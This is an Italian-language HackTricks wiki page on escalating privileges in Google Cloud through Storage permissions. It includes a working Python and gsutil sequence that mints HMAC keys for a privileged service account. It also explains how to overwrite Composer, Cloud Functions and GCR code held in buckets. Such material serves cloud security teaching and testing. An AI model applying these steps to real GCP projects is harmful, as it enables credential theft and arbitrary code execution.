GCP - Storage Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Storage

Informazioni di base:

GCP - Storage Enum

`storage.objects.get`

Questo permesso ti consente di scaricare file memorizzati all'interno di Cloud Storage. Questo potrebbe potenzialmente consentirti di elevare i privilegi perché in alcune occasioni informazioni sensibili sono salvate lì. Inoltre, alcuni servizi GCP memorizzano le loro informazioni in bucket:

GCP Composer: Quando crei un Ambiente Composer, il codice di tutti i DAG sarà salvato all'interno di un bucket. Questi compiti potrebbero contenere informazioni interessanti all'interno del loro codice.
GCR (Container Registry): L'immagine dei container è memorizzata all'interno di bucket, il che significa che se puoi leggere i bucket sarai in grado di scaricare le immagini e cercare leak e/o codice sorgente.

`storage.objects.setIamPolicy`

Puoi darti il permesso di abusare di uno qualsiasi degli scenari precedenti di questa sezione.

`storage.buckets.setIamPolicy`

Per un esempio su come modificare i permessi con questo permesso, controlla questa pagina:

GCP - Public Buckets Privilege Escalation

`storage.hmacKeys.create`

La funzione di "interoperabilità" di Cloud Storage, progettata per interazioni cross-cloud come con AWS S3, prevede la creazione di chiavi HMAC per Account di Servizio e utenti. Un attaccante può sfruttare questo generando una chiave HMAC per un Account di Servizio con privilegi elevati, elevando così i privilegi all'interno di Cloud Storage. Mentre le chiavi HMAC associate agli utenti sono recuperabili solo tramite la console web, sia le chiavi di accesso che quelle segrete rimangono perpetuamente accessibili, consentendo un potenziale accesso di backup. Al contrario, le chiavi HMAC collegate agli Account di Servizio sono accessibili tramite API, ma le loro chiavi di accesso e segrete non sono recuperabili dopo la creazione, aggiungendo un ulteriore livello di complessità per l'accesso continuo.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Un altro script di exploit per questo metodo può essere trovato qui.

`storage.objects.create`, `storage.objects.delete` = Permessi di scrittura su Storage

Per creare un nuovo oggetto all'interno di un bucket hai bisogno di storage.objects.create e, secondo la documentazione, hai anche bisogno di storage.objects.delete per modificare un oggetto esistente.

Un'esploitazione molto comune dei bucket in cui puoi scrivere nel cloud è nel caso in cui il bucket stia salvando file del server web, potresti essere in grado di memorizzare nuovo codice che sarà utilizzato dall'applicazione web.

Composer

Composer è Apache Airflow gestito all'interno di GCP. Ha diverse funzionalità interessanti:

Viene eseguito all'interno di un cluster GKE, quindi il SA utilizzato dal cluster è accessibile dal codice in esecuzione all'interno di Composer
Memorizza il codice in un bucket, quindi, chiunque abbia accesso in scrittura su quel bucket sarà in grado di cambiare/aggiungere un codice DGA (il codice che Apache Airflow eseguirà) Poi, se hai accesso in scrittura sul bucket che Composer sta usando per memorizzare il codice, puoi privesc al SA in esecuzione nel cluster GKE.

Cloud Functions

Il codice delle Cloud Functions è memorizzato in Storage, quindi sovrascrivendolo, è possibile eseguire codice arbitrario.

App Engine

Il codice sorgente di App Engine è memorizzato nei bucket, sovrascrivendo il codice potrebbe essere possibile eseguire codice arbitrario. QUESTO NON È POSSIBILE
Sembra che i layer dei container siano memorizzati nel bucket, forse cambiando quelli?

GCR

Google Container Registry memorizza le immagini all'interno dei bucket, se puoi scrivere in quei bucket potresti essere in grado di muoverti lateralmente verso dove quei bucket vengono eseguiti.
Il bucket utilizzato da GCR avrà un URL simile a gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (I sottodomini di primo livello sono specificati qui).